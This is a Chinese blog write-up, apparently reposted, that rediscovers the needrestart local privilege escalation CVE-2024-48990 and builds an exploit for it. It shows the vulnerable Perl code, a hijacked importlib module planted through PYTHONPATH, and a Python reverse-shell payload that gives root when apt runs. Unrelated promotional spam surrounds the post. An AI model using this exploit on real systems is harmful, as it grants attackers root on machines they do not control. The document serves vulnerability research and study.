核心内容摘要
潮酷来袭!男生女生一起拆拆很痛的轮滑鞋,解锁夏日速度与激情!
复现 CVE-
并构建自己的漏洞利用程序引言2024年11月19日Qualys 公开披露了在 Ubuntu Server 默认安装的needrestart二进制文件中发现的五个本地权限提升漏洞。
他们在此处披露了技术细节。
然而在阅读技术细节之前我将仅根据 CVE 描述和参考文献中的信息尝试重新发现 CVE-
。
然后我将创建自己的漏洞利用程序以获取 root 权限的反向 shell。
我从未使用过needrestart并且对 Perl 也不太熟悉所以我几乎是盲目的。
让我们找一个 N-day 漏洞TL;DR我能够将 PYTHONPATH 设置为我创建了一个伪造importlib实现的位置通过库路径劫持触发了 root 权限的反向 shell。
漏洞利用文件可以在我的 Github 上找到。
作者注你可以在我的个人博客上找到这篇文章的原始帖子熟悉needrestart我将从克隆needrestart仓库并对其功能进行高层概述开始。
git clone https://github.com/liske/needrestartneedrestart检查库升级后需要重新启动哪些守护进程。
似乎needrestart是通过/ex中的钩子脚本由包管理器在库升级后调用的。
当然像apt这样的包管理器通常以 root 权限执行这使得needrestart成为本地权限提升漏洞的目标。
我从 Ubuntu 仓库安装了needrestart以直接与之交互。
$ sudo apt install needrestart $ needrestart --version needrestart
6 - Restart daemons after library updates. -- snip --由于这是
6 版本而补丁是在
8 版本中引入的因此这个needrestart安装是易受攻击的。
追踪 CVE-
该 CVE 的描述如下Qualys 发现在
8 版本之前的 needrestart 允许本地攻击者通过诱骗 needrestart 在受攻击者控制的 PYTHONPATH 环境变量下运行 Python 解释器从而以 root 权限执行任意代码。
此外CVE 参考文献部分链接了文件perl/lib/NeedRestart/Interp/Python.pm上的一个补丁提交信息为“interp: do not set PYTHONPATH environment variable to prevent a LPE”。
这些都是非常实质性的提示。
PYTHONPATH 解释根据官方 Python 文档PYTHONPATH定义了导入模块文件的默认搜索路径。
实际上我在 CTF 比赛中使用过 PYTHONPATH通过库路径劫持以执行权限运行我自己用户控制的 Python 代码。
needrestart中的 PYTHONPATH 赋值让我们看看needrestart内部是如何设置PYTHONPATH的。
我将检出漏洞版本的源代码以进一步查看。
git checkout tags/v
6我使用搜索功能来定位在files()子例程中设置PYTHONPATH的位置。
# 从 perl/lib/NeedRestart/Interp/Python.pm 中提取的代码片段 if(exists$env{PYTHONPATH}) { $ENV{PYTHONPATH} $env{PYTHONPATH}; }上面的nr_parse_env()子例程在perl/lib/NeedRestart/Utils.pm中定义并读取它正在检查的 Python 进程的/proc/pid/environ文件返回该进程使用的环境变量数组。
sub nr_parse_env($) { my $pid shift; my $fh; open($fh, , /proc/$pid/environ) || return(); # 从 environ 文件读取环境变量 local $/ \000; my env $fh; chomp(env); close($fh); return map { (/^([^])(.*)$/ ? ($1, $
: ()) } env; }滚动到perl/lib/NeedRestart/Interp/Python.pm的第 202–207 行可以深入了解在设置PYTHONPATH环境变量后执行的 Python 代码。
# 获取包含路径 my ($pyread, $pywrite) nr_fork_pipe2($self-{debug}, $ptable-{exec}, -); # 相当于 CLI 上的 python - print $pywrite import sys\nprint(sys.path)\n; # 此代码被传递到 Python 的 stdin close($pywrite); my ($path) $pyread; close($pyread);从高层次看以上共享的代码中最相关的步骤分解如下使用 Python 进程的 PID 作为参数调用 Python 解释器检查器的files()子例程。
解析与该进程关联的环境变量。
如果找到PYTHONPATH环境变量则%ENV被设置为包含该值。
正在启动一个 Python 的 forked 进程其中执行代码import sys\nprint(sys.path)。
%ENV变量正如 Perl 文档中所述“Perl 在一个名为 %ENV 的特殊哈希中维护环境变量”。
尽管%ENV没有显式作为参数传递给由needrestart创建的子 Python 进程但 Perl 仍会在幕后传递这些值这就是%ENV值重要的原因。
攻击思路的萌芽一个潜在的攻击策略正在形成启动一个 Python 进程将PYTHONPATH设置为攻击者控制的目录并执行库路径劫持攻击以运行任意 Python 代码。
然而在我们能够为此想法创建概念验证之前我们必须首先验证我们是否可以做到以下几点触发 Python 解释器扫描以检查攻击者控制的进程。
识别一个可以被劫持的 Python 库。
导入的模块sys是 Python 内置的不依赖于外部模块路径。
由于 Python 不会在搜索路径中为sys搜索外部文件因此我们必须以更具创造性的方式来处理。
触发 Python 解释器检查如前所述needrestart支持对 Python、Ruby、Perl 和 Java 程序进行解释器检查。
这些解释器检查由perl/lib/NeedRestart.pm中的needrestart_interp_check()子例程在给定进程上迭代调用。
sub needrestart_interp_check($$$$$) { my $debug shift; my $pid shift; -- snip -- foreach my $interp (values %Interps) { # 遍历 Python、Ruby、Perl 和 Java 解释器检查器 if($interp-isa($pid, $bin)) { # 检查进程的 argv[0] 是否被当前解释器检查器支持 -- snip -- my %files $interp-files($pid, \%InterpCache); # 在进程上调用易受攻击的 files() 子例程 -- snip -- } } }反过来needrestart_interp_check()在第 584 行被主 Perl 脚本needrestart调用当$restart为 false 且interpscan未被配置禁用时。
unless($restart || !$nrconf{interpscan}) { $restart if(needrestart_interp_check($nrconf{verbosity} 1, $pid, $exe, $nrconf{blacklist_interp}, $opt_t)); }幸运的是$nrconf{interpscan}默认是启用的。
需要考虑的另一个因素是传递给needrestart_interp_check()的 PID因为它与读取PYTHONPATH环境变量的进程相对应。
在/needrestart中搜索$pid的值表明程序遍历了存储在$ptable中的 PID 列表。
my $ptable nr_ptable(); -- snip -- for my $pid (sort {$a $b} keys %$ptable) {$ptable哈希填充了执行needrestart的用户可访问的所有进程对象的列表。
my %ptable; { local $SIG{__WARN__} sub {}; %ptable map { $_-pid $_ } { new Proc::ProcessTable(enable_ttys
-table }; } sub nr_ptable() { return \%ptable; }这证实了我们将能够使用我们恶意进程的 PID 调用needrestart_interp_check()因为所有的进程都会被遍历。
漏洞利用开发充实计划既然我无法使用内置的sys模块进行库路径劫持我想到了在Python.pm中执行的简短 Python 代码片段import sys\nprint(sys.path)中我可以针对的其他选项。
除了sys之外还有两个值得注意的标记print和import。
我决定关于官方文档中import的工作原理。
特别是文档中的这个片段引起了我的注意提供了importlib.import_module()以支持动态确定要加载模块的应用程序。
似乎在 Python 中使用import语句可以触发importlib模块。
我使用find命令来验证importlib确实是一个动态加载的库而不是像sys那样的 Python 内置模块。
$ find / -name importlib 2/dev/null /usr/lib/python
12/importlib也许我们可以利用importlib是动态加载的这一事实以及模块加载时自动执行__init__.py内容的特点。
我在/tmp/needrestart创建了一个具有以下结构的目录./importlib ./importlib/__init__.py ./main.pymain.py的内容如下$ main.py import sys在./importlib/__init__.py中我编写了将创建hacked.txt文件的 Python 代码$ cat ./importlib/__init__.py import os os.system(touch hacked.txt)让我们测试一下这个想法我将export PYTHONPATH/tmp/needrestart并手动复制needrestart执行的python进程。
它起作用了让我们看看是否可以将此攻击直接移植到needrestart。
启动漏洞利用程序我修改了main.py使其成为一个无限循环以便在needrestart搜索进程列表时持续运行。
此文件的目的是简单地用我们期望的PYTHONPATH值触发 Python 解释器扫描。
$ cat main.py while True: pass让我们提高难度获取一个 root 权限的反向 shell。
$ cat importlib/__init__.py import os,pty,socket;ssocket.socket();s.connect((
127.
0.
1,
);[os.dup2(s.fileno(),f)for f in (0,1,
];pty.spawn(sh)我用我们恶意的PYTHONPATH变量执行了python3 ./main.py。
$ export PYTHONPATH/tmp/needrestart $ python3 ./main.py在另一个终端中我验证了我们的进程正在显示并且期望的PYTHONPATH变量以needrestart会读取的方式设置。
$ ps ax | grep python 428477 pts/13 R 0:03 python3 ./main.py $ cat /proc/428477/environ | grep --text -oP PYTHONPATH[^\x00]* # 验证我们的环境变量出现 PYTHONPATH/tmp/needrestart注意确保您运行的 python3 二进制文件所在的路径遵循此正则表达式模式以便needrestart将其识别为有效的 Python 程序^/usr/(local/)?bin/python([23][.\d]*)?$。
现在我将通过设置一个nc监听器并尝试使用apt安装curl来测试漏洞利用程序它起作用了我们已成功识别并利用了 n-day 漏洞 CVE-2024–48990。
在现实环境中系统管理员或 cron 作业可能会通过包管理器定期对易受攻击的服务器执行库升级。
具有提升权限的包管理器将启动needrestart最终扫描我们攻击者控制的进程并最终以 root 权限执行我们期望的 Python 代码。
感谢阅读FINISHEDCSD0tFqvECLokhw9aBeRqpwjprLThNmDMDc8DJlrvygTlxRglOBpNrKfBhFLQrvo6aQLq7O98DNCbZ3KC6Ka5osx7wxVQEe0Qz1c61ZoPN/qsVFHyG8RBFwO1h2pCrLUbKcNfzPR5gb6KGNV2Tw更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享